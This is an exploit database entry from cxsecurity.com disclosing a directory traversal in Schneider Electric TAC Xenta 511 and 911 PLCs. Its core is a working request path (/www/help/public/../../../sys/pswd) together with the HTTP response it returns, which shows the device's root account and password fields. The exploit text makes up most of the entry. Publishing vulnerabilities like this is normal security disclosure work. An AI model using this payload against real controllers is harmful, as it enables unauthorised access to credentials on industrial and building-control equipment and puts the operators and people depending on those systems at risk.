TAC Xenta 511/911 Directory Traversal

2018.05.31
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-22

# Exploit Title: TAC Xenta 511 and 911 Credentials Disclosure # Date: 25.05.2018 # Exploit Author: Marek Cybul # Vendor Homepage: https://download.schneider-electric.com/files?p_File_Name=TAC_Xenta_911_SDS-XENTA911.pdf # Version: 5.17 # Schneider Electric TAC Xenta 911 and 511 PLCs Directory traversal in help manuals allows for credentials extraction Devices are not indexed by crawlers like Shodan or Censys due to ancient SSL configuration, needed to use old browser to support it (not even s_client, curl or ncat could connect). Example URI: /www/help/public/../../../sys/pswd vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv HTTP/1.0 200 OK root super user / / / password 0 900 3


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top